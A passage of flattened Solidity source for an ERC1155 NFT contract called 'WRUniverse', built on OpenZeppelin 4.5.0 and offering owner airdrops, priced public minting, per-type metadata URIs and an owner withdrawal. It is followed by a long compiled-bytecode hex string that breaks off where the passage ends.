of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts@4.5.0/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts@4.5.0/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts@4.5.0/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: @openzeppelin/contracts@4.5.0/token/ERC1155/extensions/ERC1155Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155Burnable is ERC1155 { function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } } // File: Dynamic1155__buyable.sol pragma solidity ^0.8.0; contract WRUniverse is ERC1155Burnable, Ownable { // whether minting by owner is allowed bool public manualMintAllowed = true; // individual uri per type mapping (uint256 => string) public typeToUri; // whether main uri is freezed bool public isUriFreezed; // whether each individual uri is freezed mapping (uint256 => bool) public typeIsUriFreezed; // total supply tracker per type mapping (uint256 => uint256) public totalSupply; // supply limit per type Id mapping(uint256 => uint256) public typeSupplyLimit; // price per type Id mapping(uint256 => uint256) public typePrice; // limit per tx per type Id mapping(uint256 => uint256) public typeLimitPerTx; // triggered when mint settings are set for a specific type event SetMintSettings(uint256 indexed typeId); /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory _uri) ERC1155(_uri) {} /** * @dev Lock further manual minting by owner */ function disableManualMint() public onlyOwner { manualMintAllowed = false; } /** * @dev Airdrop tokens to owners */ function mintOwner(address[] calldata owners, uint256[] calldata types, uint256[] calldata counts) public onlyOwner { require(manualMintAllowed, "Not allowed"); require(owners.length == types.length && types.length == counts.length, "Bad array lengths"); for (uint256 i = 0; i < owners.length; i++) { _mint(owners[i], types[i], counts[i], ""); } } /** * @dev Airdrop single tokens to owners */ function mintOwnerOneToken(address[] calldata owners, uint256 typeId) public onlyOwner { require(manualMintAllowed, "Not allowed"); for (uint256 i = 0; i < owners.length; i++) { _mint(owners[i], typeId, 1, ""); } } /** * @dev Set mint settings for type */ function setMintSettings(uint256 typeId, uint256 supplyLimit, uint256 price, uint256 limitPerTx) public onlyOwner { typeSupplyLimit[typeId] = supplyLimit; typePrice[typeId] = price; typeLimitPerTx[typeId] = limitPerTx; emit SetMintSettings(typeId); } /** * @dev Set mint settings for multiple types */ function setMintSettingsArray(uint256[] calldata typeIds, uint256[] calldata supplyLimits, uint256[] calldata prices, uint256[] calldata limitsPerTx) public onlyOwner { for (uint256 i=0; i<typeIds.length; i++) { typeSupplyLimit[typeIds[i]] = supplyLimits[i]; typePrice[typeIds[i]] = prices[i]; typeLimitPerTx[typeIds[i]] = limitsPerTx[i]; emit SetMintSettings(typeIds[i]); } } /** * @dev Public mint */ function mintPublic(uint256 typeId, uint256 amount) public payable { require(msg.value == amount*typePrice[typeId], "Wrong ETH value"); require(amount <= typeLimitPerTx[typeId], "Per tx limit exceeded"); require(amount > 0, "Can't mint 0"); require(totalSupply[typeId] + amount <= typeSupplyLimit[typeId], "Supply exceeded"); totalSupply[typeId] += amount; _mint(msg.sender, typeId, amount, ""); } /** * @dev Type uri */ function uri(uint256 typeId) public view override returns (string memory) { string memory typeUri = typeToUri[typeId]; if (bytes(typeUri).length == 0) { return super.uri(typeId); } else { return typeUri; } } /** * @dev Updates the metadata URI */ function updateUri(string calldata newUri) public onlyOwner { require(!isUriFreezed, "Freezed"); _setURI(newUri); } /** * @dev Freezes the metadata URI */ function freezeUri() public onlyOwner { isUriFreezed = true; } /** * @dev Updates and freezes the metadata URI */ function permanentSetUri(string calldata newUri) public onlyOwner { updateUri(newUri); freezeUri(); } /** * @dev Updates the metadata URI for a specific type */ function updateUriForType(string calldata newUri, uint256 typeId) public onlyOwner { require(!typeIsUriFreezed[typeId], "Freezed"); typeToUri[typeId] = newUri; } /** * @dev Freezes the metadata URI */ function freezeUriForType(uint256 typeId) public onlyOwner { typeIsUriFreezed[typeId] = true; } /** * @dev Updates and freezes the metadata URI */ function permanentSetUriForType(string calldata newUri, uint256 typeId) public onlyOwner { updateUriForType(newUri, typeId); freezeUriForType(typeId); } /** * @dev Withdraw ether from this contract (Callable by owner) */ function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x6080604052600436106101f85760003560e01c80636b20c4541161010d578063abff7f6e116100a0578063e985e9c51161006f578063e985e9c514610728578063ed5ab3f614610765578063f242432a14610781578063f2fde38b146107aa578063f5298aca146107d3576101f8565b8063abff7f6e14610670578063bd85b03914610699578063c30f3bb1146106d6578063c75e25e1146106ff576101f8565b8063943c19aa116100dc578063943c19aa146105ca57806395d34d9e146105f3578063a22cb4651461061c578063ab05ff4114610645576101f8565b80636b20c454146105225780636c3839e91461054b578063715018a6146105885780638da5cb5b1461059f576101f8565b8063267f8640116101905780633ccfd60b1161015f5780633ccfd60b1461042b5780634e1273f4146104425780634e5bcfab1461047f578063570b3c6a146104bc5780635fffdfaf146104e5576101f8565b8063267f8640146103715780632768d709146103ae5780632be9279d146103d75780632eb2c2d614610402576101f8565b80630e89341c116101cc5780630e89341c146102b75780630f52b76e146102f457806314106f861461030b5780632094aacc14610334576101f8565b8062fdd58e146101fd57806301ffc9a71461023a578063086cb7851461027757806308b58c1d1461028e575b600080fd5b34801561020957600080fd5b50610224600480360381019061021f9190613466565b6107fc565b60405161023191906134b5565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c9190613528565b6108c4565b60405161026e9190613570565b60405180910390f35b34801561028357600080fd5b5061028c6109a6565b005b34801561029a57600080fd5b506102b560048036038101906102b091906135f0565b610a3f565b005b3480156102c357600080fd5b506102de60048036038101906102d99190613650565b610ad4565b6040516102eb9190613716565b60405180910390f35b34801561030057600080fd5b50610309610b9a565b005b34801561031757600080fd5b50610332600480360381019061032d9190613738565b610c33565b005b34801561034057600080fd5b5061035b60048036038101906103569190613650565b610d2a565b6040516103689190613716565b60405180910390f35b34801561037d57600080fd5b5061039860048036038101906103939190613650565b610dca565b6040516103a59190613570565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d0919061384b565b610dea565b005b3480156103e357600080fd5b506103ec610fac565b6040516103f99190613570565b60405180910390f35b34801561040e57600080fd5b5061042960048036038101906104249190613af2565b610fbf565b005b34801561043757600080fd5b50610440611060565b005b34801561044e57600080fd5b5061046960048036038101906104649190613c84565b61112b565b6040516104769190613dba565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a19190613650565b611244565b6040516104b391906134b5565b60405180910390f35b3480156104c857600080fd5b506104e360048036038101906104de9190613ddc565b61125c565b005b3480156104f157600080fd5b5061050c60048036038101906105079190613650565b611379565b60405161051991906134b5565b60405180910390f35b34801561052e57600080fd5b5061054960048036038101906105449190613e29565b611391565b005b34801561055757600080fd5b50610572600480360381019061056d9190613650565b61142e565b60405161057f91906134b5565b60405180910390f35b34801561059457600080fd5b5061059d611446565b005b3480156105ab57600080fd5b506105b46114ce565b6040516105c19190613ec3565b60405180910390f35b3480156105d657600080fd5b506105f160048036038101906105ec9190613ede565b6114f8565b005b3480156105ff57600080fd5b5061061a600480360381019061061591906135f0565b6116c4565b005b34801561062857600080fd5b50610643600480360381019061063e9190613ff3565b6117c9565b005b34801561065157600080fd5b5061065a6117df565b6040516106679190613570565b60405180910390f35b34801561067c57600080fd5b5061069760048036038101906106929190613ddc565b6117f2565b005b3480156106a557600080fd5b506106c060048036038101906106bb9190613650565b611884565b6040516106cd91906134b5565b60405180910390f35b3480156106e257600080fd5b506106fd60048036038101906106f89190613650565b61189c565b005b34801561070b57600080fd5b5061072660048036038101906107219190614033565b611947565b005b34801561073457600080fd5b5061074f600480360381019061074a9190614093565b611a7c565b60405161075c9190613570565b60405180910390f35b61077f600480360381019061077a91906140d3565b611b10565b005b34801561078d57600080fd5b506107a860048036038101906107a39190614113565b611cc6565b005b3480156107b657600080fd5b506107d160048036038101906107cc91906141aa565b611d67565b005b3480156107df57600080fd5b506107fa60048036038101906107f591906141d7565b611e5e565b005b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361086c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108639061429c565b60405180910390fd5b60008083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061098f57507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061099f575061099e82611efb565b5b9050919050565b6109ae611f65565b73ffffffffffffffffffffffffffffffffffffffff166109cc6114ce565b73ffffffffffffffffffffffffffffffffffffffff1614610a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1990614308565b60405180910390fd5b6001600560006101000a81548160ff021916908315150217905550565b610a47611f65565b73ffffffffffffffffffffffffffffffffffffffff16610a656114ce565b73ffffffffffffffffffffffffffffffffffffffff1614610abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab290614308565b60405180910390fd5b610ac68383836116c4565b610acf8161189c565b505050565b60606000600460008481526020019081526020016000208054610af690614357565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2290614357565b8015610b6f5780601f10610b4457610100808354040283529160200191610b6f565b820191906000526020600020905b815481529060010190602001808311610b5257829003601f168201915b505050505090506000815103610b9057610b8883611f6d565b915050610b95565b809150505b919050565b610ba2611f65565b73ffffffffffffffffffffffffffffffffffffffff16610bc06114ce565b73ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90614308565b60405180910390fd5b6000600360146101000a81548160ff021916908315150217905550565b610c3b611f65565b73ffffffffffffffffffffffffffffffffffffffff16610c596114ce565b73ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690614308565b60405180910390fd5b82600860008681526020019081526020016000208190555081600960008681526020019081526020016000208190555080600a600086815260200190815260200160002081905550837f2dac1677998d38e33c4e28b59d542dafacf2c4137a2ff3a8d85b46545c7dd66e60405160405180910390a250505050565b60046020528060005260406000206000915090508054610d4990614357565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7590614357565b8015610dc25780601f10610d9757610100808354040283529160200191610dc2565b820191906000526020600020905b815481529060010190602001808311610da557829003601f168201915b505050505081565b60066020528060005260406000206000915054906101000a900460ff1681565b610df2611f65565b73ffffffffffffffffffffffffffffffffffffffff16610e106114ce565b73ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d90614308565b60405180910390fd5b600360149054906101000a900460ff16610eb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eac906143d4565b60405180910390fd5b8383905086869050148015610ecf57508181905084849050145b610f0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0590614440565b60405180910390fd5b60005b86869050811015610fa357610f90878783818110610f3257610f31614460565b5b9050602002016020810190610f4791906141aa565b868684818110610f5a57610f59614460565b5b90506020020135858585818110610f7457610f73614460565b5b9050602002013560405180602001604052806000815250612001565b8080610f9b906144be565b915050610f11565b50505050505050565b600360149054906101000a900460ff1681565b610fc7611f65565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061100d575061100c85611007611f65565b611a7c565b5b61104c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104390614578565b60405180910390fd5b6110598585858585612196565b5050505050565b611068611f65565b73ffffffffffffffffffffffffffffffffffffffff166110866114ce565b73ffffffffffffffffffffffffffffffffffffffff16146110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d390614308565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611127573d6000803e3d6000fd5b5050565b60608151835114611171576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111689061460a565b60405180910390fd5b6000835167ffffffffffffffff81111561118e5761118d6138ff565b5b6040519080825280602002602001820160405280156111bc5781602001602082028036833780820191505090505b50905060005b8451811015611239576112098582815181106111e1576111e0614460565b5b60200260200101518583815181106111fc576111fb614460565b5b60200260200101516107fc565b82828151811061121c5761121b614460565b5b60200260200101818152505080611232906144be565b90506111c2565b508091505092915050565b60096020528060005260406000206000915090505481565b611264611f65565b73ffffffffffffffffffffffffffffffffffffffff166112826114ce565b73ffffffffffffffffffffffffffffffffffffffff16146112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90614308565b60405180910390fd5b600560009054906101000a900460ff1615611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90614676565b60405180910390fd5b61137582828080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506124a9565b5050565b600a6020528060005260406000206000915090505481565b611399611f65565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806113df57506113de836113d9611f65565b611a7c565b5b61141e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141590614708565b60405180910390fd5b6114298383836124c3565b505050565b60086020528060005260406000206000915090505481565b61144e611f65565b73ffffffffffffffffffffffffffffffffffffffff1661146c6114ce565b73ffffffffffffffffffffffffffffffffffffffff16146114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990614308565b60405180910390fd5b6114cc6000612773565b565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611500611f65565b73ffffffffffffffffffffffffffffffffffffffff1661151e6114ce565b73ffffffffffffffffffffffffffffffffffffffff1614611574576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156b90614308565b60405180910390fd5b60005b888890508110156116b95786868281811061159557611594614460565b5b90506020020135600860008b8b858181106115b3576115b2614460565b5b905060200201358152602001908152602001600020819055508484828181106115df576115de614460565b5b90506020020135600960008b8b858181106115fd576115fc614460565b5b9050602002013581526020019081526020016000208190555082828281811061162957611628614460565b5b90506020020135600a60008b8b8581811061164757611646614460565b5b9050602002013581526020019081526020016000208190555088888281811061167357611672614460565b5b905060200201357f2dac1677998d38e33c4e28b59d542dafacf2c4137a2ff3a8d85b46545c7dd66e60405160405180910390a280806116b1906144be565b915050611577565b505050505050505050565b6116cc611f65565b73ffffffffffffffffffffffffffffffffffffffff166116ea6114ce565b73ffffffffffffffffffffffffffffffffffffffff1614611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790614308565b60405180910390fd5b6006600082815260200190815260200160002060009054906101000a900460ff16156117a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179890614676565b60405180910390fd5b82826004600084815260200190815260200160002091906117c3929190613295565b50505050565b6117db6117d4611f65565b8383612839565b5050565b600560009054906101000a900460ff1681565b6117fa611f65565b73ffffffffffffffffffffffffffffffffffffffff166118186114ce565b73ffffffffffffffffffffffffffffffffffffffff161461186e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186590614308565b60405180910390fd5b611878828261125c565b6118806109a6565b5050565b60076020528060005260406000206000915090505481565b6118a4611f65565b73ffffffffffffffffffffffffffffffffffffffff166118c26114ce565b73ffffffffffffffffffffffffffffffffffffffff1614611918576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600